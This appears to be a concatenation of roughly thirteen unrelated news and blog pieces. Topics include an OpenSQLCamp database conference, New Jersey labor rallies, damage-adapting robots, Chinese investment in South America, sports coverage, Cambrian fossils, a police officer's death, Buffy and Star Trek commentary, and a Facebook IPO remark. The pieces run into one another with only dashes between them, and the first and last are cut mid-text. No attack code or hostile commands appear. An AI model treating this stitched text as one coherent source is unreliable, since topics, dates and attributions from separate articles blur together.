Jignesh had tested with PostgreSQL and found the optimal level in benchmark tests to be around 20% overcommit, meaning five virtual machines (VMs) each entitled to 25% of the server's CPU and RAM. One work in progress is I/O scheduling. While VMWare engineers have optimized sharing CPU and RAM among multiple VMs running databases on the same machine, sharing I/O without conflicts or severe overallocation still needs work. The other major unsolved issue is multi-socket scaling. As it turns out, attempting to scale a single VM across multiple sockets is extremely inefficient with current software, resulting in tremendous drops in throughput as soon as the first thread migrates to a second socket. The current workaround is to give the VMs socket affinity and to run one VM per socket, but nobody is satisfied with this. After lunch, Bradley ran a Q&A panel on indexing with developers from VoltDB, Tokutek, Cassandra, PostgreSQL, and Percona. Panelists answered questions about types of indexes, databases without indexes, performance optimizations, and whether server hardware advances would cause major changes in indexing technology in the near future. The short answer to that one is "no". As is often the case with "camp" events, the day ended with a hacking session. However, only the Drizzle team really took advantage of it; for most attendees, it was a networking session. Sunday Elena Zannoni joined the conference in order to talk about the state of tracing on Linux. Several database geeks were surprised to find out that SystemTap was not going to be included in the Linux kernel, and that there was no expected schedule for release of utrace/uprobes. Many database engineers have been waiting for Linux to provide an alternative to Dtrace, and it seems that we still have longer to wait. The VoltDB folks, who are local to Boston, showed up in force and did a thorough presentation on their architecture, use case, and goals. VoltDB is a transactional, SQL-compliant distributed database with strong consistency. It's aimed at large companies building new in-house applications for which they need extremely high transaction processing rates and very high availability. VoltDB does this by requiring users to write their applications to address the database, including putting all transactions into stored procedures which are then precompiled and executed in batches on each node. It's an approach which sacrifices response times and general application portability in return for tremendous throughput, into the 100,000's of transactions per second. Some of the SQL geeks at the conference discussed how to make developers more comfortable with SQL. Currently many application developers not only don't understand SQL, but actively hate and fear it. The round-table discussed why this is and some ideas for improvement, including: teaching university classes, contributing to object-relational mappers (ORMs), explaining SQL in relation to functional languages, doing fun "SQL tricks" demos, and working on improving DBA attitudes towards developers. In the last track of the day, I mediated a freewheeling discussion on "The Future of Databases", in which participants tried to answer "What databases will we be using and developing in 2020?" While nobody there had a crystal ball, embedded databases with offline synchronization, analytical databases which support real-time calculations, and database-as-a-service featured heavily in the discussion. Wrap-up While small, OpenSQLCamp was fascinating due to the caliber of attendee; I learned more about several new databases over lunch than I had in the previous year of blog reading. If you work on open-source database technology, are a high-end user, or are just very interested in databases, you should consider attending next year. Watch the OpenSQLCamp web site for videos to be posted, and for the date and location of next year's conferences in the US and Europe. -New Jersey Governor Chris Christie was called a 'liar' today by thousands of police officers and firefighters at a rally in Trenton today. New Jersey reporter Brian Thompson tells us about the battle between public employee unions and politicians over budget cuts and pension changes. (Published Thursday, March 3, 2011) Three union workers who called out sick to attend a labor rally at the New Jersey Statehouse last week have been suspended. The move comes a day after Gov. Christie told NBC New York in an interview that "people who call in sick better be sick." Christie issued his warning ahead of another labor rally that drew thousands on Thursday. Monmouth County officials said the three employees suspended without pay Thursday work for the county's Senior Citizen Area Transportation service and are members of CWA Local 1038. The county said the workers were among 14 in the department who called out sick; officials alleged that 174 developmentally disabled adults who depend on the county's services ended up "waiting for buses that never came." "These employees are being suspended without pay based on the fact that we have evidence to prove that they were not home sick as they had claimed," said Lillian Burry, a county official. The union representing the workers, the Communications Workers of America(CWA) put out a statement through its District One calling this a "politically-motivated attack on public workers who perform vital services." Top New York News Photos of 2011 The CWA statement added "When all the facts come out, it will be clear that whatever errors in judgement were made, no one served by the county missed a medical appointment and no one should be fired." State Sen. Joe Kyrillos (R-Monmouth), who first complained of a "sick-out," applauded officials for the suspension, noting some workers were "caught on camera" at last week's rally. He wants officials to keep reviewing video to see "if others were absent without proper excuse." Weird News Photos: Holiday Edition Meanwhile, thousands more rallied again at the Statehouse -- this time a gathering of police and firefighters protesting job cuts and changes to first responder benefits and pensions. Labor unions have been riding a wave of national attention on labor contracts and collective bargaining, sparked in part by disputes between Wisconsin Gov. Scott Walker and public employees there. Bruce Chester, a Woodbridge police office attending the rally, held up a campaign letter from Christie promising not to touch police officer pensions. When that same letter was shown on a big screen TV, officers and firefighters broke out in the chants of “liar.” “Enough is enough,” said Tony Weiners, president of the NJ State Policemen’s Benevolent Association. Irvington Police Officer Jerry Ramos and Irvington firefighter Kevin Franz said they voted for Christie and were experiencing ”buyers remorse.” At a separate news conference Thursday, Christie called the latest demonstration a "me-first rally" but admitted he made campaign promises he could not keep. “The situation has gotten significantly worse since I took office,” Christie said “The system could be bankrupt by 2020….I’m not going to let that happen.” Christie said he tried to meet with the state PBA president and that “the numbers are the numbers.” Follow Brian Thompson on Twitter @brian4NY and us @NBCNewYork,and on Facebook/NBCNewYork, and sign up for breaking news SMS alerts on your phone by texting “NYBREAKING” to 639710. -As the robot tests alternative movements, it continuously updates it database of options—having used a computer simulation of itself to create a sort of how-to-walk map ahead of time. Researchers call this testing phase a “simulated childhood,” and it’s a little bit like what a baby does when she’s learning how to crawl. Only the robot takes minutes—not weeks or months—to test and determine the movements that will work best. This is much faster, the authors say, than previous attempts. And that’s in part because although the robot is sifting through about 13,000 possible movements, they are all options that the robot has already deemed potentially useful. “The space of all possible behaviors that is searched to find these 13,000 high-performing behaviors is unimaginably vast,” they wrote. “In fact, it contains 10^47 possible behaviors, which is about how many atoms make up the planet Earth!” Researchers experimented with both a hexapod robot and a robotic arm, and they believe their algorithm could be used to enable any kind of robot to adapt to damage and complete a mission. Over the course of hundreds of tests, the six-legged robot was able to adapt to at least six different types of damage—including completely losing two legs—and the robot arm was able to adapt to at least 14 kinds of damage, including having two of its motors broken. Perhaps all this evokes images of Westworld, or of The Terminator, or at least of an assembly line that never breaks down. A robot that can break and keep going anyway is, after all, a robot that doesn’t need people. Or needs them less than its robot predecessors did, anyway. The potential uses for such machines are incredible to imagine. These things could skitter across Mars, or explore an ocean trench, or crawl over rubble to help search for victims after an earthquake. Scientists and engineers have been working on perfecting such algorithms for more than a decade. And in 2006, when researchers at Cornell built a robot that could teach itself how to limp, one scientist said the behavior was a form of consciousness. "Whether humans or animals are conscious in a similar way—do we also think in terms of a self-image, and rehearse actions in our head before trying them out—is still an open question," researcher Josh Bongard told the university’s news service at the time. Elsewhere, researchers have designed robots with squishy, self-healing muscles, robotic cubes that can apparently clone themselves, tiny robots that can assemble themselves in the first place, and giant robots that can hurl cinder blocks. The fields of robotics, machine learning, and artificial intelligence are making gains so rapidly it can be hard to keep track. The work that culminated in Wednesday’s Nature paper began in 2011. The intelligent algorithm at the center of the research turned out to be astonishing even to the people who designed it. -The trip to Brazil, Peru, Colombia, and Chile by Chinese Premier Li Keqiang in May this year sought to follow up on the planned cooperation between China and CELAC (the Community of Latin American and Caribbean States) announced in January of the same year. This plan’s main goals are to increase bilateral trade to $500 billion and the inflow of Chinese direct investments to the region to $250 billion until 2025. The two objectives are linked, since China expects that the bilateral trade will grow if it invests in Latin American infrastructure. This strategy has also been used to bolster China’s economic relations with countries in Europe, Asia, and Africa. Railways, roadways, ports, and airports have been built or revamped to enable Beijing to buy raw materials and sell its manufactures around the world more cheaply and easily. The investments promised by Li Keqing during his trip to South America are largely in line with this strategy. The flagship project is a $10 billion railroad between Brazil and Peru that will connect the Atlantic and Pacific ports. The railroad will make it easier and cheaper to export of soybeans, beef, and ore from the Brazilian hinterlands. Currently, these exports must first reach Brazilian ports in Pará or Maranhão, and then traverse the Panama Canal to reach the Pacific and China. In Colombia, China promised to modernize the port of Buenaventura, the country’s second most important harbor, and pledged to build a 600 km highway linking central Colombia with the Venezuela border. The road is supposed to cross the region of Orinoquía – rich in agriculture, cattle, oil, and minerals. China and Colombia also pledged to negotiate a bilateral free trade agreement. These announcements join a long list of projects in South American logistics proposed by China in recent years. Examples include the construction of a port in Suriname, which will also get a railway and a road connecting Paramaribo with Manaus to facilitate the export of Brazilian minerals; the expansion of Venezuela’s Palúa port, in the Orinoco delta, as a vital complement to the investments announced in Colombia; the overhaul of the Chilean port of Desierto to export iron ore from the Atacama mines; and the expansion of the San Antonio West port in Argentina, to enable the export of agricultural goods cultivated in lands administered by the Chinese themselves. During his visit to Chile, Li Keqiang signed a series of financial agreements that will also be important for China’s strategy of binding Latin American commerce with its own economy. A currency swap arrangement worth 22 billion yuan (approximately $3.5 billion) was announced, together with the establishment of a yuan clearing bank in Chile, which would be the first in South America. Both initiatives seek to reduce the use of the U.S. dollar in bilateral trade, restricting U.S. influence over their commercial dynamic. China and Chile also agreed to expand their bilateral free trade agreement, which was signed in 2005. Of course, some of these proposals probably will not materialize, but the strategy behind them reveal China’s intentions. Beijing seeks to deepen its ties with South America and its investments are essentially oriented towards transporting commodities to coastal areas, connecting ports to mines and farmlands from the region’s hinterlands. This is what has historically always been done in South America. China may be trying to update the model of cooperation, but it is up to the South American countries themselves to effectively use the export revenues and the Chinese investments to avoid the deindustrialization that has occurred in the past. Meanwhile, a significant shift in regional dynamics looks likely. There is a clear will on China’s part to redirect South American production to the Pacific. That will economically benefit the countries located in coastal areas. Keqiang visited three countries that have that characteristic (Peru, Chile, Colombia) and which are articulated in the Pacific Alliance. This trade bloc seeks to facilitate trade and external financial flows, making it easier for China to develop its presence in the region, and contrasts with the more protectionist Mercosur, which is led by Brazil and Argentina. For South American countries facing the Atlantic Ocean and the Caribbean Sea (most of them members of Mercosur), China seeks to create transoceanic links to reach the Pacific, such as the Brazil–Peru railway or even the Nicaragua Canal. This scenario suggests an especially important challenge for Brazil (but also for the other countries of the region) concerning South American regional integration and its domestic economy. It will be necessary to devise a national and regional project that mitigates the negative effects of investments from China (or indeed any other country), considering that “(…) the promotion of infrastructure focused on economic and commercial development does not guarantee that it will be useful for geopolitical and strategic objectives of a State of region, since it may be conditioned by private or external interests” (Jaeger, 2014, p. 87, authors’ translation). Doubtless, these investments will increase inter-regional trade between South America and China (or East Asia) as a whole, but that by itself does not assure intra-regional development and integration. There will certainly be social, environmental, and deindustrializing impacts. However, South American countries need to develop strategies and establish rules to enable more effective use of the resources coming from Beijing in the defense of their interests. Infrastructure investments will not modernize local economies or guarantee regional integration on their own, but they could be very helpful if long-term development policies are in place and if the investments are used as leverage in bargaining with the U.S., the EU, or China itself. In fact, ECLAC affirms that the logistics infrastructure that China provides could well stimulate intra-regional trade and the formation of regional value chains. It is up to South America states to use Chinese investments for their own development goals and deepening regional integration. Bruno Gomes Guimarães is a researcher at the South American Institute for Policy and Strategy (ISAPE). Diogo Ives is an MA candidate in Political Science at the Federal University of Rio Grande do Sul (UFRGS). -The City of Boca Raton gave Jozy Altidore the hero’s welcome he deserved on Friday, July 18th at the Waterstone Resort & Marina. “He is our hometown hero,” Mayor Susan Haynie said. “He has achieved so much in his sport and that certainly deserves acclaim from the community. We are all very thrilled and honored of him carrying the name of Boca Raton as his hometown.” Altidore, the 2013 Futbol de Primera Player of the Year and the 2013 U.S. Soccer Athlete of the Year, was honored by Haynie and the City of Boca with his own day, Jozy Altidore Day. “The first I heard of this it was incredible,” Altidore said. “It’s such a prestigious city in Boca Raton. I’m so happy to be here and represent the soccer team.” At a young age it was evident that Altidore had a natural talent as he would toy with children at the local parks. Josef Schulz, a longtime youth coach in Boca Raton, took note of Altidore when he was 8 years old while Altidore was playing a pickup game at Boca’s South County Regional Park and Schultz was amazed. “Schulz played a very pivotal role for me in my career in a time where soccer wasn’t so big here in the States,” says a grateful Altidore of what Schulz did for him. As a middle school student at Loggers’ Run Middle School, Altidore harnessed his craft and after only one year he moved to Boca Raton Prep on a soccer scholarship. Altidore, who currently holds the record for most goals by an American overseas with 39, is set to rejoin his club Sunderland AFC late next week to begin preparing for the start of the 2014 English Premier League season. Click the link to be redirected to the gallery: http://goo.gl/uhNAWg -The sight of Hakeem Nicks gently running routes with his teammates early in Thursday’s practice allowed the Giants to move closer to becoming whole on offense. Nicks is a huge piece of the puzzle and his return from a broken foot is on schedule. He won’t play tonight, though, leaving the Giants with Victor Cruz as the only proven receiver to take the field against his favorite team to dominate, the Jets. Once Nicks is back for good, he and Cruz command the two starting spots and the search continues for the third receiver needed to really get Eli Manning’s passing attack cranked up. “Well, I think there are a number of guys,’’ Manning said. “I don’t know if there’s just one guy right now.’’ A number of guys and not one guy right now are euphemisms for “No one has seized the opportunity yet.’’ Though Mario Manningham struggled for much of last season, he always presented a threat to opposing defenses and if some slouch was lined up against him, Manningham could make him pay in a big way. Manningham is now with the 49ers and to this point none of the candidates looking to fill his role have shown enough to claim the job. Domenik Hixon, coming back from two knee surgeries, is the most consistent of the bunch, but he was held out of the preseason opener with a slight hamstring issue. Jerrel Jernigan, a second-round pick last year, was impressive early in camp, but didn’t catch a pass last week in Jacksonville. Rookie Rueben Randle already has gained the trust of Manning and the coaching staff as a sure-handed, natural pass-catcher, but he’s still learning the nuances of route-running. Ramses Barden, as usual, had his moments in camp, and managed one catch last week for 14 yards. But he hasn’t been able to maintain any positive momentum. If one of these receivers is going to emerge from the pack, he hasn’t done so yet. “It’s been a little bit of everyone,’’ Cruz said. “Ramses had a great training camp, Jerrel Jernigan had a great training camp, Rueben Randle did some good things. It’s going to be tough for these coaches. I’m glad I’m not a coach or anybody working up top because it’s going to be tough to pick one of those guys or even two of those guys to be our third or fourth receiver. They’re all talented and all good players.’’ Those are the supportive words of a teammate, but Manning is more discerning. He demands a great deal from his targets, and if they deviate from the script or fail to make the proper read, it doesn’t sit well with the franchise quarterback. “These preseason games are big, when you see them against live action, against good corners, see their releases, and see if they’re doing a good job getting open,’’ Manning said. “So, it’s always a good problem to have as a quarterback, have a number of receivers who can come in and play well for you.’’ Of course, it’s not known whether Manning truly does have a number of receivers who can play well or just a bunch of receivers who can play, but perhaps not very well. “Well, I think some guys do some things better than others,’’ Manning said. “So, I think that’s why you usually carry six receivers, so you can put guys in certain spots, have them do what they do best.’’ Hixon must be considered the favorite to occupy the No. 3 spot at the start of the season, at least until Randle is ready. “[Hixon’s] played very well, and done a great job,’’ Manning said. “So, I’m excited about having him back, because he’s played in games and he’s played well for us in the past.’’ -Oceans are the cradle of life on Earth. Giving life a birth date, though, is complicated as we’re still discovering traces of bacteria older than all those we found so far. For now, we think that the oldest one lived at least 3.5 billion years ago, so around one billion years after Earth’s formation. This theory is based on prints that bacteria left on soft mud that turned into rock with time. It is nearly impossible to preserve a bacterium as a “fossil” since they are extremely fragile. Image: Anomalocaris painting. Reconstruction of what this early predator must have looked like. Image by UNE photos (Creative Commons). Bacteria are unicellular organisms (their bodies are constituted of only one cell, while the human body is formed by thousands of billions of cells…) and for long, we didn’t find anything between the old bacteria prints and the oldest fossils with shells and skeletons that lived 540 million years ago. A fossil is the remains of a long dead organism that was buried in mud which transformed into rock (or sediment) over time. Soon, by physical destruction by the mud and the water flow or by decomposition by bacteria, only the skeleton or the shell of the original animal remains. That’s what you can see at the museum, once they’ve been discovered and extracted from the rock. We know from these fossils that a large amount of species have lived on Earth in the last 600 million years, in the ocean and later (since around 400 million years ago) on the continents, and that their sizes and shapes were very different to one another. In the last few decades, we even discovered a new type of fossils… In some rare environments, the mud that buries dead organisms can be so fine and the water flow so weak that they don’t harm the remains, and the shape of the skin of the organism can print on the mud and be preserved that way. This is how we could find the Ediacaran fauna in Australia. In this sort of environment we made an extraordinary discovery: fossils of animals (not bacteria) so old (around 560 million years ago) that they didn’t have any hard parts in their bodies. No shells, no teeth, not a single bone. But these were not the most disturbing characteristic of their anatomy. Their perfect state of preservation allowed palaeontologists to notice another component of modern animals missing: the mouth. Not a single specimen of this strange zoo had any orifice, and we suppose they were able to absorb nutrients from the seawater directly through their skin. Palaeontologists discovered organisms with the strangest shapes, frozen in time and preserved in this extremely smooth mud turned into rock. Dozens of new fossil species were described and a new extreme limit of the appearance of multicellular organisms (in opposition to unicellular organisms like bacteria) was defined. But it was just the start of a new series of astonishing discoveries. At Burgess (Canada), new and slightly younger species were found that lived around 540 million years ago, during the Cambrian era. Unlike Ediacara, all species from this fauna had shells (or “exoskeletons”; skeletons outside the organism, unlike humans or other vertebrates but just like molluscs and arthropods). Amongst them, an impressive specimen of the species Anomalocaris presented another major difference with older organisms: it had teeth, and those of a predator. Overall, the Burgess fauna presented a huge amount of different species compared to Ediacara, and we call this rapid increase in the biodiversity the “Cambrian Explosion“. 20 or 30 million years may seem a lot of time, but when dealing with evolution, it’s really not a lot. But for some reason, at this time, life on Earth had rapidly evolved. Ediacara was important because it was the first time we found multicellular organisms ageing before skeletogenesis (creation of skeleton and other hard parts). Burgess was also important because it was the oldest fauna we found with hard parts. But these two faunas combined made another major discovery: the start of predation. During the Ediacaran era, no organisms had teeth or even mouth, so they were clearly not carnivorous. Anomalocaris was an obvious proof of predation during the time the Burgess rocks were deposited. Because of this, we talk about the “Ediacaran paradise“, when Nature was at peace, without fight for survival. When we look at other species of Burgess fauna, several produced spines on their back, probably as a defence mechanism against predators like Anomalocaris. This led to the conclusion that hard parts were initially synthesized in order to protect the organism against aggressive species. Another possible explanation of skeletogenesis is also proposed and focuses on chemistry mechanisms. As the seawater chemistry changed, maintaining an appropriate level of acidity in the organisms became more problematic. Synthesizing shells would have allowed the organism to store acidic molecules from their soft tissues to reach the proper equilibrium. But this doesn’t explain by itself the presence of spines and teeth… The truth is probably somewhere between the two theories. But anyway, something major happened to living species between 560 and 540 million years ago. Something that changed the shape and the behaviour of all life on Earth, forever. Vincent Mouchi Ph.D. student, Department of Geology, Trinity College Dublin If you want to know more about this topic and have more details on these extraordinary organisms, I would suggest you to read the book “Wonderful Life: The Burgess Shale and the Nature of History” by the palaeontologist Stephen Jay Gould. 0.000000 0.000000 Advertisements -RIGBY -- A reserve officer for Rigby Police has died, months after he was badly burned in a crash in Utah, the department confirmed. Bill Gray, who also worked as a truck driver, was driving an 18-wheeler when he was struck head-on by a suspect fleeing from Utah State Patrol July 26. The other driver was killed in the collision. Gray was rushed to the University of Utah Burn Center in critical condition, with burns over 46 percent of his body. He died from his injuries Monday after nearly two months in the hospital, Rigby Police said. MORE: Rigby reserve officer critical after Utah crash In a Facebook post, the department wrote that Gray would be remembered as "a man of selfless service," always ready to help others in his community. "Bill was truly the best of mankind. Always willing to help, always willing to go the extra mile," Rigby Police posted. "Bill was a big man, with a bigger heart. Everything about him was generous and kind." The department recounted a time when he used his personal ATV to plow a path for local children to get to school during the heavy winter, saving them from having to walk into the street to get around the built-up snow. "Bill always had a funny story to bring about a laugh. He always did the good thing," the department posted. "This world would be better off with more Bill Grays, and this world is truly darker without his light." RELATED: Viral video highlights patient privacy laws Gray's accident sparked a nationwide debate after a nurse caring for him at the University of Utah Burn Center was arrested after she refused to allow a a Salt Lake City Police detective to draw his blood without a warrant. Nurse Alex Wubbels explained to the officer that Gray could not consent to the blood draw because he was unconscious. Detective Jeff Payne's body camera captured footage of him roughly grabbing Wubbels and physically pulling her out of the hospital as she wept and screamed for help. The video drew widespread outrage, culminating in the hospital changing its rules to not allow police to speak with nurses and staff. Rigby Police Chief Sam Tower thanked the nurse "for standing firm, and protecting Officer Gray's rights as a patient and victim.” A GoFundMe account has set up to pay for Gray's hospital bills is still nearly $7,000 short of its goal. Copyright 2017 KTVB -Welcome to the BUFFY PHENOMENON Identifying the best Buffy the Vampire Slayer episodes Buffy the Vampire Slayer fans love to argue about which episodes are their best. Some believe that "Becoming, Parts 1 and 2" are the greatest episodes. Others believe that "Once More, with Feeling," "Hush," and "The Body" are the greatest. There are even fans who love "Doublemeat Palace." Like its sister site, The Phi-Phenomenon, the Buffy Phenomenon studies lists that people make. Instead of studying lists of the greatest films of all time to create the definitive best film list, the Buffy Phenomenon studies lists of the greatest episodes to create the definitive best (and worst) episode list. The episodes are listed by rank, alphabetically, by writer, by director, and by season. This site also lists the episodes that polarize fans and episodes that fans have largely forgotten as well as streaks of great and weak episodes. This site also tries to figure out what makes an episode great or weak. It looks at the extent to which the quality of an episode may be affected by the when the episode aired, the episode's writer and director, and the relative prominance or absence of major characters in that episode. Finally, this site has found that Buffy fans do not agree on everything. There are at least two different tastes in Buffy episodes. Users can now see how fans differ in how they rank episodes. Users can also see how fans differ in how when the episode aired, major characters, writers, and directors may affect the quality of an episode. WARNING!! —This site contains spoilers. Most pages give episode titles for all 144 episodes, indicate how good each of these episodes are, and indicate who wrote and directed each episode. The Characters Ranked page also mentions characters who do not appear until season 7 and discusses the presence or absence of major characters in seventh season episodes, and the Seasons Ranked page describes all seven seasons. If you have any questions or comments, you can write this site at . Buffy the Vampire Slayer and all characters are the property of 20th Century Fox, Mutant Enemy, Joss Whedon, UPN, WB, and a whole bunch of other entities that are not affiliated with this site. All opinions on this site are either that of the Webmaster or from a compilation of the opinions of various people, most of whom are not affiliated with the aforementioned entities. All contents on this site that are not owned by the above entities © 2003-2016. This page was last modified on February 5, 2016 Since January 2005, Powered by please enable browser's Javascript to use the Hit Counter tool.Powered by people visited this page. -Vulcan survivor's guilt: Why J.J. Abrams should make Mr. Spock the hero of the new "Star Trek" franchise May 23, 2013 | May Contain Spoilers In J.J. Abrams’ reboot of the “Star Trek” universe, Spock is a burdened soul. As in Gene Roddenberry’s original series, he is the only child of a human mother and Vulcan father — by birth, a man of two worlds and an outcast. But Abrams and his co-writers give him a fascinating additional burden: Midway through the first movie, Spock’s home planet of Vulcan is destroyed by a Romulan villain, Nero. The enormous implosion claims the lives of the planet’s indigenous population as well as Spock’s mother. Cosmic and personal tragedies converge: not only does Spock lose his mom — his heretofore beacon of humanity — he and his Vulcan kinsmen become stateless nomads. Even at his most vulnerable, though, Spock controls his emotions, and lets logic dictate his actions, declaring his race to be an endangered species. Advertisement The destruction of Vulcan, one of the most crucial planets in the "Star Trek" legendarium, should be at the core of J.J. Abrams’ films. It is the single development that most distinguishes the original TV and movie series from Abrams’ reboot, an event so boldly imagined that it marks the filmmakers’ new, blank canvas with a hideous dark stain. And yet for the most part, the new films draw around the stain, not treating it quite as an afterthought, but not engaging with it as fully as they ought to. I believe they should engage with it — that in fact they should put it at the heart of the new franchise. It has an imaginative power comparable to the destruction of Alderaan in "Star Wars, Episode IV: A New Hope," which gave 1970s children apocalyptic nightmares, though not intentionally: "Star Wars" creator George Lucas treated the Death Star's annihilation of a world as the cause of space-nausea and never mentioned it again, much less weighed down the adopted Alderaanian Leia Organa with the psychological freight of its absence. In contrast, Abrams and his collaborators have woven mentions of Vulcan’s death into the plot of the second film, "Star Trek Into Darkness," in ways that, however tossed-off and limited, reinforce the superiority of "Star Trek" to "Star Wars" as popular art; they could, and should, build these references out and embellish them, because they're solid enough to give the entire franchise an a narrative anchor that it thus far has lacked. "As if millions of voices cried out in terror..." Advertisement That present-tense experience of grief is palpable even though the new "Star Trek" series hasn’t placed it at the heart of its stories. Why not formalize the focus, and see what results? I believe the new “Star Trek” franchise would be a greater, more powerful, more moving accomplishment if it stopped obsessing over the maturation of the impetuous James T. Kirk — an amusing but too-familiar arc, one that many adventure series have already portrayed — and redirected its energy toward exploring the psychology of the post-Vulcan Mr. Spock, the rightful lead in this rebooted franchise. That Abrams seems already to be headed in that direction, however fitfully, suggests that on some level he has already accepted this truth, although he hasn’t yet embraced it as enthusiastically as I believe he should. At the end of “The Wrath of Khan,” the second film in the original “Star Trek” series, Captain Kirk eulogizes Spock by declaring, “Of all the souls I have encountered in my travels, his was the most human.” This anthropocentrism has always been evident in “Star Trek,” and, even though it betrays a superficially Earth-bound and reactionary nature, the statement echoes the deeper, secular, Bertrand Russell-style humanism of "Star Trek." As such, the “human soul” of Spock that Kirk laments is that of a universal adherent of the Golden Rule. This maxim has always governed Spock, whose strict dedication to Aristotelian logic was, for all intents and purposes, a gimmick. Given the choice, the character always opted for doing the Right Thing, even if it led to self-sacrifice. In the reboot universe, J.J. Abrams could have amplified these central tenets of the character. With their planet gone, Spock and the remaining Vulcans are left without a home. “Star Trek” has built up this race as wise and philosophical, a people whose existence is based around knowledge, around reading and thinking and remembering. The total obliteration of the Vulcans’ home planet is the razing of the Great Library of Alexandria, the Fall of Babylon, the Sack of Rome and the incineration of Hiroshima and Nagasaki, all rolled into one. Advertisement How would a catastrophe this immense affect the Federation? Are there tenets of the Vulcan culture that are irredeemably lost in time? What sort of effect does this have in the Federation’s balance of power? There is a more immediate analogue, too, namely the destruction of Vulcan as the “Star Trek” equivalent of the Holocaust. The event turns the Vulcan race into an intergalactic Jewish diaspora consisting entirely of survivors. This is powerful stuff, and potentially fruitful. Abrams’ “Trek” films have been criticized for shifting the original series’ focus away from exploration and onto political and military intrigue, but this needn’t necessarily represent a betrayal of what the original stood for. The destruction of Vulcan could let Abrams formalize an interest that’s already evident to anyone who’s seen “Star Trek” and “Star Trek Into Darkness,” and let the new series look at many of the classic "Star Trek" philosophical and moral issues through a fresh prism. Among the questions such a refocused series could explore: Who preserves the memory of Vulcan? Would a new, post-Vulcan society of Vulcan survivors have fascist overtones, defending the racially “pure” against the unwanted attentions of the mixed-blood portion of society? Perhaps the surviving Vulcans have split into political factions akin to those seen within so many majority-minority societies. They may also be squabbling about how best to relate to the "majority" society they've been forced to become a part of; their arguments could echo the ones that happened within Native American and African-American society in the 1960s and '70s, which were torn between trying to change the United States' majority culture to make it more hospitable, versus standing apart from it or actively attacking it. The aftershocks of Vulcan's end also raise the question of whether a civilization can be a proper civilization without a homeland, or a home world. That there's a fleeting reference in "Star Trek Into Darkness" to New Vulcan -- presumably this universe's Vulcan version of Israel? -- suggests that Abrams and his cowriters have already been thinking about it. Advertisement It's all quite fraught -- a powderkeg of identity politics that people would avoid at cocktail parties for fear of ruining the evening. Where would Spock, a racially “impure” Vulcan, find himself in all of this? He would probably be an assimilationist, committed to integrating Vulcan identity into the patchwork of galactic civilization, otherwise why would he have committed himself to Starfleet, or the Federation itself? This commitment would already be present given what we know about Spock's "half-breed" psychology, but the destruction of Vulcan would magnify those feelings and give his actions even greater urgency. But not every Vulcan would agree with Spock. There would probably be separatist elements, perhaps with a militant mentality. Some would have dedicated themselves to wiping out the Romulans as revenge for Vulcan’s death, notwithstanding counter-arguments that Nero, the man responsible for Vulcan's destruction, was just a "bad apple," not representative of the Romulans as a race. And of course the Vulcans that wanted revenge against the Romulans wouldn’t call it “revenge.” They’d come up with some “logical” euphemism. But that would be their true motivation, and it’s something Spock would have to contend with in his role as a half-Vulcan Starfleet officer, a man who’s under constant pressure to be A Credit to his Race. Mr. Spock, your destiny is calling Advertisement Isn’t it plausible that by giving his younger self information that he would otherwise not be privy to, old Spock actually changes the future? We know that the universe of "Star Trek" has a relativist approach to time, not determinist. By implying a future friendship, could the old Spock be actually affecting — perhaps even dooming — that bond? Heisenberg’s uncertainty principal would suggest so. How would Spock, now the true hero of "Star Trek," deal with such a dilemma? This line of argument also suggests a more fundamental difference between classic "Trek" and the reboot. In the original version, destiny does not play a part. The ship is called Enterprise, and is the vessel to uncover hitherto unknown possibilities. The reboot errs strictly on the side of destiny. The crew of the Enterprise is destined to be together; Kirk and Spock are destined to be best friends; the Enterprise is destined to encounter Khan. But if all these conceits, previously established in the original Trek universe, are destined to happen, how, then, would they be affected by the destruction of Vulcan? And how would Spock, as the real hero of this incarnation of "Star Trek," surmount these personal, philosophical, and physical challenges? These are logical questions with potentially fascinating answers. Next Article: Book Excerpt: Guillermo Del Toro talks about the Best FIlm You've Never Seen Previous Article: Roger Ebert was an inspiration for disabled people Please enable JavaScript to view the comments powered by Disqus. Disqus -“No, that kind of stock I don’t buy. They are usually very, very expensive. A lot of people like to buy expensive stocks like that, but I do not,” said Rogers, a widely followed investor who has published several books on investing, co-founded the Quantum Fund with George Soros, and more recently is the creator of the Rogers Global Resources Equity Index. Reports suggest Facebook could file its papers for an initial public offering on Wednesday, one that could be the largest Internet offering ever, with the social media giant hoping to raise upwards of $10 billion. Such an IPO would value the company at more than $100 billion. Rogers told CNBC that the timing of an IPO this week would be a smart move by Facebook. “It’s been demonstrated many, many times before that sellers are usually smarter than the buyers, and they usually know when the best time to sell is, and Facebook is doing it,” he said. However, he said he would be interested in broader technology stocks, but is currently short the sector. “I am interested in technology in some shape or form, but I can’t imagine buying any of them. They are a bit hot these days and they have been for two or three months, so that’s why I am short. I don’t buy high-priced stocks,” Rogers said. US Public ‘Saps’ Turning to the broader US economy, Rogers said the United States looks and feels better because the government is throwing money at it. -Contin­ued use of drones a barrie­r to global peace, says Ramsey Clark. KARACHI: Former Attorney General of United States of America Ramsey Clark on Monday urged the Pakistani media to be more forthright in preaching “the criminality of US drones”. Speaking as chief guest at an award ceremony of the Pakistan American Democratic Forum, Clark stated that the US should cease using this ‘vicious’ technology, adding that the use of drones is primarily a US innovation in warfare and their use is a violation of all international laws. The former US attorney general went on to say that there will be no peace on earth with the looming threat of drone attacks from one country to another. ‘Free Afia Siddiqui’ Earlier, Ramsey Clark said that he came to Pakistan after 20 years with a singular purpose of raising his voice over the injustice meted to Dr Afia Siddiqui. “She was kidnapped from your country. It should not have happened, should not be allowed to happen, she lost her youngest child in the kidnapping bid, and was tried and convicted for no fault” he said. Ramsey Clark categorized Afia Siddiqui’s case as “tragic” and “outrageous”, and stressed the importance of her release and return to Pakistan. The former US Attorney General cut short a meeting with the Chief Justice of Pakistan Iftikhar Muhammad Choudhry at the Karachi Registry of the Supreme Court of Pakistan to attend this award ceremony at Karachi Press Club. Dr Fouzia Siddiqui of the Dr Afia Movement in her brief address thanked Karachi-based journalists for their support in the movement for the release of Dr Afia Siddiqui. She attributed the release of Dr Afia’s daughter and son from US captivity to the efforts made by the journalists of Karachi who, she said, duly highlighted the plight of Dr Afia’s family. Published in The Express Tribune, August 28th, 2012. Read full story -Less than a week after CBS let the cat out of the bag on its own iPad HTML5 tests, more media companies appear to boarding the HTML5 video train. Video services company Brightcove announced Monday morning that it will support HTML5 for its customers, offering "high quality, interactive, and advertising-supported Web video experiences for HTML5-compatible devices." Two major Brightcove clients, the New York Times and Time Inc., are participating launch partners, meaning that these two sources will have the option of ditching Flash in some cases in order to be more iPad compatible. Brightcove's announcement comes just days before the iPad launch, and the company makes no attempt to hide the fact that this is a major reason for the HTML5 support. More than 1,000 Brightcove 